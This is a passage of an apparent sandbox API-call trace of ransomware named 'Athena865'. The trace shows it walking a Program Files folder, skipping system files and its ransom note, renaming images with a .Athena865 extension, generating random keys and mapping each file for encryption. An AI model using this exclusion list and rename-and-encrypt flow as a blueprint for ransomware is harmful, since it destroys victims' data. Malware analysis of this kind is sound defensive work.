returned 0x552140 [0119.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.505] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.506] CloseHandle (hObject=0x154) returned 1 [0119.506] CloseHandle (hObject=0x17c) returned 1 [0119.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.506] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".") returned 1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="..") returned 1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="windows") returned -1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="bootmgr") returned 1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="temp") returned -1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="pagefile.sys") returned -1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="boot") returned 1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="ids.txt") returned -1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="ntuser.dat") returned -1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="perflogs") returned -1 [0119.506] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2="MSBuild") returned -1 [0119.507] lstrlenW (lpString="circleround_videoinset.png") returned 26 [0119.507] lstrcpyW (in: lpString1=0x241e8a0, lpString2="circleround_videoinset.png" | out: lpString1="circleround_videoinset.png") returned="circleround_videoinset.png" [0119.507] lstrlenW (lpString="circleround_videoinset.png") returned 26 [0119.507] lstrlenW (lpString="Athena865") returned 9 [0119.507] lstrcmpiW (lpString1="inset.png", lpString2="Athena865") returned 1 [0119.507] lstrlenW (lpString=".dll") returned 4 [0119.507] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".dll") returned 1 [0119.507] lstrlenW (lpString=".lnk") returned 4 [0119.507] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".lnk") returned 1 [0119.507] lstrlenW (lpString=".ini") returned 4 [0119.507] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".ini") returned 1 [0119.507] lstrlenW (lpString=".sys") returned 4 [0119.507] lstrcmpiW (lpString1="circleround_videoinset.png", lpString2=".sys") returned 1 [0119.507] lstrlenW (lpString="circleround_videoinset.png") returned 26 [0119.507] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.Athena865") returned 80 [0119.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.athena865"), dwFlags=0x1) returned 1 [0119.508] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.508] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5059) returned 1 [0119.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.508] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.509] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.509] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.509] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.511] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.512] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.513] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.513] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.513] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.514] CloseHandle (hObject=0x154) returned 1 [0119.514] CloseHandle (hObject=0x17c) returned 1 [0119.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.514] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".") returned 1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="..") returned 1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="windows") returned -1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="temp") returned -1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="pagefile.sys") returned -1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="boot") returned 1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="ids.txt") returned -1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="perflogs") returned -1 [0119.514] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2="MSBuild") returned -1 [0119.514] lstrlenW (lpString="Circle_ButtonGraphic.png") returned 24 [0119.514] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Circle_ButtonGraphic.png" | out: lpString1="Circle_ButtonGraphic.png") returned="Circle_ButtonGraphic.png" [0119.514] lstrlenW (lpString="Circle_ButtonGraphic.png") returned 24 [0119.515] lstrlenW (lpString="Athena865") returned 9 [0119.515] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.515] lstrlenW (lpString=".dll") returned 4 [0119.515] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".dll") returned 1 [0119.515] lstrlenW (lpString=".lnk") returned 4 [0119.515] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".lnk") returned 1 [0119.515] lstrlenW (lpString=".ini") returned 4 [0119.515] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".ini") returned 1 [0119.515] lstrlenW (lpString=".sys") returned 4 [0119.515] lstrcmpiW (lpString1="Circle_ButtonGraphic.png", lpString2=".sys") returned 1 [0119.515] lstrlenW (lpString="Circle_ButtonGraphic.png") returned 24 [0119.515] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.Athena865") returned 78 [0119.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.516] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.516] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27281) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.516] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.517] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.517] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.517] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6da0, lpName=0x0) returned 0x154 [0119.519] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6da0) returned 0x100000 [0119.521] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.521] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.521] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.522] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.522] CloseHandle (hObject=0x154) returned 1 [0119.523] CloseHandle (hObject=0x17c) returned 1 [0119.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.523] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".") returned 1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="..") returned 1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="windows") returned -1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="temp") returned -1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="pagefile.sys") returned -1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="boot") returned 1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="ids.txt") returned -1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="ntuser.dat") returned -1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="perflogs") returned -1 [0119.523] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="MSBuild") returned -1 [0119.523] lstrlenW (lpString="circle_glass_Thumbnail.bmp") returned 26 [0119.523] lstrcpyW (in: lpString1=0x241e8a0, lpString2="circle_glass_Thumbnail.bmp" | out: lpString1="circle_glass_Thumbnail.bmp") returned="circle_glass_Thumbnail.bmp" [0119.523] lstrlenW (lpString="circle_glass_Thumbnail.bmp") returned 26 [0119.524] lstrlenW (lpString="Athena865") returned 9 [0119.524] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.524] lstrlenW (lpString=".dll") returned 4 [0119.524] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.524] lstrlenW (lpString=".lnk") returned 4 [0119.524] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.524] lstrlenW (lpString=".ini") returned 4 [0119.524] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.524] lstrlenW (lpString=".sys") returned 4 [0119.524] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.524] lstrlenW (lpString="circle_glass_Thumbnail.bmp") returned 26 [0119.524] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.Athena865") returned 80 [0119.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.525] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.525] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.525] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.526] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.526] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.526] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.528] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.529] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.530] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.530] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.530] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.531] CloseHandle (hObject=0x154) returned 1 [0119.531] CloseHandle (hObject=0x17c) returned 1 [0119.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.531] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".") returned 1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="..") returned 1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="windows") returned -1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="bootmgr") returned 1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="temp") returned -1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="pagefile.sys") returned -1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="boot") returned 1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="ids.txt") returned -1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="ntuser.dat") returned -1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="perflogs") returned -1 [0119.531] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="MSBuild") returned -1 [0119.531] lstrlenW (lpString="Circle_SelectionSubpictureA.png") returned 31 [0119.531] lstrcpyW (in: lpString1=0x241e8a0, lpString2="Circle_SelectionSubpictureA.png" | out: lpString1="Circle_SelectionSubpictureA.png") returned="Circle_SelectionSubpictureA.png" [0119.531] lstrlenW (lpString="Circle_SelectionSubpictureA.png") returned 31 [0119.531] lstrlenW (lpString="Athena865") returned 9 [0119.532] lstrcmpiW (lpString1="tureA.png", lpString2="Athena865") returned 1 [0119.532] lstrlenW (lpString=".dll") returned 4 [0119.532] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".dll") returned 1 [0119.532] lstrlenW (lpString=".lnk") returned 4 [0119.532] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".lnk") returned 1 [0119.532] lstrlenW (lpString=".ini") returned 4 [0119.532] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".ini") returned 1 [0119.532] lstrlenW (lpString=".sys") returned 4 [0119.532] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".sys") returned 1 [0119.532] lstrlenW (lpString="Circle_SelectionSubpictureA.png") returned 31 [0119.532] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.Athena865") returned 85 [0119.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png.athena865"), dwFlags=0x1) returned 1 [0119.533] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.533] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3878) returned 1 [0119.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.533] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.534] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.534] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.534] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1230, lpName=0x0) returned 0x154 [0119.536] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 